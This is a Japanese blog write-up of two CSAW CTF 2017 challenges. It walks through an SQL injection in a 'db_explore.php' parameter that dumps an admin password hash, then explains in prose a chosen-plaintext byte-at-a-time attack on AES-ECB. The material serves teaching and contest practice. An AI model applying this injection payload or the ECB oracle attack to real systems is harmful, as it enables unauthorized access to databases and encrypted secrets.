birabiraのめも

忘れっぽいのでここにメモをしていきます

CSAW CTF 2017 Writeup

はじめに

本当に久しぶりにCTFをやりました。最後にやったのはいつだか覚えていません。 解けた問題ですがやるだけ問しか解けなかったのが残念です。。。

解いた問題

  • Web200 LittleQuery
  • Crypto350 baby_crypt

以上のみとなっております。

Writeup

Web200 LittleQuery

---------------------------------------------
robots.txt

User-agent: *
Disallow: /api

---------------------------------------------
/api/db_explore.php

Must specify mode={schema|preview}

モード指定が必要

---------------------------------------------
/api/db_explore.php?mode=schema

{"dbs":["littlequery"]}

dbとして「littlequery」というものがあることがわかります。  
また、モード指定をすることによってスキーマや内容を見れることは何となく分かるため  
littlequeryのテーブルを確認していきます

---------------------------------------------
/api/db_explore.php?mode=schema&db=littlequery&table=user

{"columns":{"uid":"int(11)","username":"varchar(128)","password":"varchar(40)"}}

littlequeryのスキーマがわかりました。
モードをpreviewにすれば見れるはずです。

---------------------------------------------
/api/db_explore.php?mode=preview&db=littlequery&table=user

Database 'littlequery' is not allowed to be previewed.

みれん

---------------------------------------------
/api/db_explore.php?mode=schema&db=INFORMATION_SCHEMA

{"tables":["CHARACTER_SETS","COLLATIONS","COLLATION_CHARACTER_SET_APPLICABILITY","COLUMNS","COLUMN_PRIVILEGES","ENGINES","EVENTS","FILES","GLOBAL_STATUS","GLOBAL_VARIABLES","KEY_COLUMN_USAGE","OPTIMIZER_TRACE","PARAMETERS","PARTITIONS","PLUGINS","PROCESSLIST","PROFILING","REFERENTIAL_CONSTRAINTS","ROUTINES","SCHEMATA","SCHEMA_PRIVILEGES","SESSION_STATUS","SESSION_VARIABLES","STATISTICS","TABLES","TABLESPACES","TABLE_CONSTRAINTS","TABLE_PRIVILEGES","TRIGGERS","USER_PRIVILEGES","VIEWS","INNODB_LOCKS","INNODB_TRX","INNODB_SYS_DATAFILES","INNODB_FT_CONFIG","INNODB_SYS_VIRTUAL","INNODB_CMP","INNODB_FT_BEING_DELETED","INNODB_CMP_RESET","INNODB_CMP_PER_INDEX","INNODB_CMPMEM_RESET","INNODB_FT_DELETED","INNODB_BUFFER_PAGE_LRU","INNODB_LOCK_WAITS","INNODB_TEMP_TABLE_INFO","INNODB_SYS_INDEXES","INNODB_SYS_TABLES","INNODB_SYS_FIELDS","INNODB_CMP_PER_INDEX_RESET","INNODB_BUFFER_PAGE","INNODB_FT_DEFAULT_STOPWORD","INNODB_FT_INDEX_TABLE","INNODB_FT_INDEX_CACHE","INNODB_SYS_TABLESPACES","INNODB_METRICS","INNODB_SYS_FOREIGN_COLS","INNODB_CMPMEM","INNODB_BUFFER_POOL_STATS","INNODB_SYS_COLUMNS","INNODB_SYS_FOREIGN","INNODB_SYS_TABLESTATS"]}

なんにもない

---------------------------------------------
/api/db_explore.php?mode=preview&db=littlequery`.`user+%23+&table=user

[{"uid":"1","username":"admin","password":"5896e92d38ee883cc09ad6f88df4934f6b074cf8"}]

ログインするだけ

Crypto350 baby_crypt

概要

AES ECBモードを使って暗号化されている模様
選択平文攻撃ってこういう攻撃手法だったんですね。初めてでした。

input + flag 自分の入力のあとにflagがくっつけられて暗号化されるようです。

ECBモードではブロック(16バイト)ごとに暗号化が行われるため
平文がブロック単位で一致していれば、暗号文がおなじになるという性質を利用します。

例)自分の入力値が「32バイトの\0」場合(*は未知のデータ。flag) f:id:bira09:20170918133037p:plain

上段の2ブロックを自分の入力で占領(?)しています。

実際に問題サーバーに投げてみると

['cdd75f5151595b98fb17bea583e7ac58', 'cdd75f5151595b98fb17bea583e7ac58', 'f9cc1330ae5830732a18d1a23211ffbc', 'e3725519adb9e6f10d658d87c80825ed']

という結果になり、先頭2ブロックの暗号文の値が一致しています。

攻撃方法

自分の入力を少し工夫します。 f:id:bira09:20170918134016p:plain

自分の入力値のバイト数を31バイトにすることによってflagの先頭文字を2ブロック目に調整することが可能です。
この状態であれば15番目の入力値を総当りすることで1ブロック目と2ブロック目が一致する値を見つけることができるはずです。

あとはこれを繰り返す事ができるようにプログラムを組むだけでした。

参考

感想

久しぶりで辛かったです。proがすごすぎて何も出来ませんでした。
ありがとうございました。